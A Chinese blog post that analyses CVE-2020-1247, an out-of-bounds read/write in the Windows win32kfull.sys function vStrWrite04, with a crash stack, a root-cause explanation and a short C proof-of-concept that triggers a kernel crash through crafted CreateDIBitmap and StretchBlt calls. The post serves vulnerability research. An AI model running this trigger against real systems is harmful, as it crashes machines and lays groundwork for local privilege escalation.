CVE-2020-1247漏洞分析
0x00漏洞信息
漏洞影响:本地提权
漏洞文件:win32kfull.sys
漏洞函数:vStrWrite04
漏洞原因:越界读写
分析系统:Windows 1903
【漏洞分析合集】
0x01漏洞分析
崩溃时的堆栈:
nt!KiBugCheckDebugBreak+0x12 nt!KeBugCheck2+0x952 nt!KeBugCheckEx+0x107 nt!MiSystemFault+0x1d3171 nt!MmAccessFault+0x34f nt!KiPageFault+0x360 win32kfull!vStrWrite04+0x93 win32kfull!EngStretchBltNew+0xc88 win32kfull!EngStretchBlt+0xd1 win32kfull!EngStretchBltROP+0x319 win32kfull!BLTRECORD::bStretch+0x37e win32kfull!GreStretchBltInternal+0x721 win32kfull!NtGdiStretchBlt+0x68
vStrWrite04 函数在对传入参数a3 取地址时未验证地址是否合法 就直接引用导致蓝屏 往前追溯发现
win32kfull!EngStretchBltROP+2BD 位置 在调用SURFMEM::bCreateDIB 时 67.left+24 取地址加0x50 是一个未申请内存。导致后面引用到+0x50对象就会造成越界读写

0x02验证poc
#include <Windows.h> int main() { BITMAPINFO bi = { {0x28, 0x2, 0xfffffffffffffffb, 0x2, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2} }; char out[0x1000] = { 0 }; HDC r0 = CreateCompatibleDC(0x0); HBITMAP r1 = CreateDIBitmap(r0, 0x0, 0x6, &out, &bi, 0x0); SelectObject(r0, r1); // __debugbreak(); StretchBlt(r0, 0x0, 0x0, 0x8, 0x8, r0, 0x0, 0x0, 0xffffffffffffffeb, 0x4, 0xee00e6); return 0; }
在运行poc 前需要开启特殊池 不然很难触发 因为越界读取只有4个字节 需要添加特殊池来稳定触发
打开Verifier
完成后重启就可以稳定触发漏洞
从此山高路远,纵马扬鞭。愿往后旅途,三冬暖,春不寒,天黑有灯,下雨有伞。此生尽兴,不负勇往。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 25岁的心里话
· 闲置电脑爆改个人服务器(超详细) #公网映射 #Vmware虚拟网络编辑器
· 零经验选手,Compose 一天开发一款小游戏!
· 通过 API 将Deepseek响应流式内容输出到前端
· AI Agent开发,如何调用三方的API Function,是通过提示词来发起调用的吗